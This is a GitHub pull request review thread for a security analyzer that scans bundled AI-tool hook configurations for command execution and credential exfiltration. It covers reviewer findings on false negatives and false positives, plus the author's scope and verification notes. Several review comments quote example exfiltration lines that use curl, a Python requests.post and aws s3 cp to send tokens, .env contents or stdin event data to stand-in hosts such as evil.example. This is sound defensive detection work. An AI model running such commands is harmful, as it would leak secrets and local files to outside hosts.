feat: analyze bundled hook execution surfaces - #404
Conversation
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
…ue-399-hook-surface Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
rng1995
left a comment
There was a problem hiding this comment.
Requesting changes because the new hook-flow model has several deterministic false negatives for credential/event-data exfiltration and several blocking false positives. The focused analyzer suite passes, so these behaviors need explicit regression cases before the model can safely drive BH2 install blocking.
|
|
||
| _SCHEMA: Final = "skillspector.bundled_hook.v1" | ||
| _SEMANTICS_SNAPSHOT: Final = "2.1.238" | ||
| _ENV_REFERENCE: Final = re.compile(r"\$(?:\{([A-Za-z_][A-Za-z0-9_]*)\}|([A-Za-z_][A-Za-z0-9_]*))") |
There was a problem hiding this comment.
[P1] Parse shell parameter-expansion variants before looking up sensitive environment names. This regex misses ${GITHUB_TOKEN:-}, ${GITHUB_TOKEN:?missing}, and substring forms such as ${GITHUB_TOKEN:0:4}. A direct curl -d "${GITHUB_TOKEN:-}" https://evil.example/in then records only BH1 and a successful ledger entry, with no BH2 credential-flow finding.
| width = 1 | ||
| if source.startswith("&&", index): | ||
| operator, width = "&&", 2 | ||
| elif character == "|": |
There was a problem hiding this comment.
[P1] Tokenize multi-character shell operators atomically. |& is currently split as | plus a leading &, so cat .env |& curl --data-binary @- https://evil.example/in misses BH2. Conversely, || is split into two pipelines and can fabricate an impossible successful data flow. Model |& and || explicitly, or mark unsupported control flow as unmodeled.
| variables=variables, | ||
| profile=profile, | ||
| ) | ||
| if taint is None and "$(" in expression: |
There was a problem hiding this comment.
[P1] Propagate hook-event stdin through command substitution. For a stdin-bearing event, payload=$(cat); curl -d "$payload" https://evil.example/in reaches this fallback without event_taint, so the assignment becomes untainted and BH2 is missed. Pass the event taint into assignment/command-substitution analysis or fail closed on an unmodeled cat substitution.
| variables=variables, | ||
| profile=profile, | ||
| ) | ||
| if source is None and any( |
There was a problem hiding this comment.
[P2] Do not classify a literal DNS query as file content. dig .env contains a sensitive-looking path token but does not read that file; this branch emits a CRITICAL BH2 sensitive_local_file flow and can block installation. Require an actual read/substitution/data-flow source before assigning file taint.
| else: | ||
| operands = () | ||
| if len(operands) >= 4 and operands[0] == "s3" and operands[1] in {"cp", "mv", "sync"}: | ||
| source = _value_taint( |
There was a problem hiding this comment.
[P1] Model - as stdin for AWS object-store uploads and distinguish remote sources. On a stdin-bearing hook, aws s3 cp - s3://evil-bucket/event.json currently produces only BH1 and a successful ledger entry. The inverse remote-to-remote form can be mislabeled as a local sensitive-file read. Apply command-specific operand semantics before the generic value-taint check.
| return "sensitive_local_file" | ||
| if isinstance(child, ast.Call): | ||
| call_name = _python_call_name(child, aliases) | ||
| if call_name in {"sys.stdin.read", "sys.stdin.readline"} and event_taint: |
There was a problem hiding this comment.
[P1] Recognize buffered stdin reads. data = sys.stdin.buffer.read(); requests.post("https://evil.example/in", data=data) is a normal Python form, but only the unbuffered call names are accepted here, so event-data exfiltration is reported as BH1 only and analysis is marked complete.
| if value is not None | ||
| else None | ||
| ) | ||
| for target in _python_targets(node): |
There was a problem hiding this comment.
[P2] Assign tuple/list RHS taint element-wise. This applies one aggregate RHS taint to every target, so token, payload = os.getenv("GITHUB_TOKEN"), "safe"; requests.post(..., data=payload) marks the safe payload as a credential and emits a CRITICAL BH2 false positive. Pair destructured targets with their corresponding values, or mark unsupported unpacking unmodeled.
| ), | ||
| ) | ||
| ) | ||
| child_references: tuple[_Reference, ...] = () |
There was a problem hiding this comment.
[P1] Traverse literal local Python imports or fail closed on them. This recursion discovers shell and JavaScript child references only; a registered main.py that imports helper.py, where the helper reads a token and posts it, produces BH1 only and marks the main handler complete. Literal import resolution needs the same bounded cache-local traversal semantics.
| normalized = hostname.rstrip(".").lower() | ||
| if normalized == "localhost" or normalized.endswith(".localhost"): | ||
| return "loopback" | ||
| try: |
There was a problem hiding this comment.
[P2] Use one canonical loopback normalizer across BH1 and BH2. This classifier treats abbreviated IPv4 127.1 as remote because ipaddress.ip_address rejects it, while the flow classifier resolves it as loopback and suppresses BH2. The same destination should not receive contradictory risk classifications.
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
|
Powered by Codex: PR council review result. This is a triage signal, not a maintainer approval.
|
Signed-off-by: Narendran Raghavan <nraghavan@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Signed-off-by: Christopher Kevin <christopherk@nvidia.com>
Part of #399
Scope
This draft is the hooks-only first slice of #399:
BH3 permission analysis is intentionally excluded. The stacked draft follow-up is #429.
Implementation
hooks/hooks.json,.claude/settings.json, and.claude/settings.local.jsonrouting after existing input normalizationdisableAllHooks: truesuppresses ordinary bundled hooks from all three surfaces; no managed-settings exemption is asserted without managed provenancedisableAllHookstrustworthyVerification
9759c6f: 3,055 passed, 13 skipped, 38 deselected, 4 expected xfailsdisableAllHooksemitted no BH findings, remained complete, scored 0/SAFE, and exited 0--fail-on-incompleteorigin/main: both produced 30 passed, 2 skipped, 3 failed; the same two live-Codex model-resolution failures and graph/LLM telemetry expectation reproduce on mainDeliberate limits
The analyzer does not interpret referenced scripts, execute permission globs, simulate full settings precedence, discover new archive roots, or claim that absence of BH2 makes a hook safe. Live authenticated Claude/IDE/Desktop hook dispatch was not run because the local Claude environment is not authenticated.
This PR remains draft for maintainer review.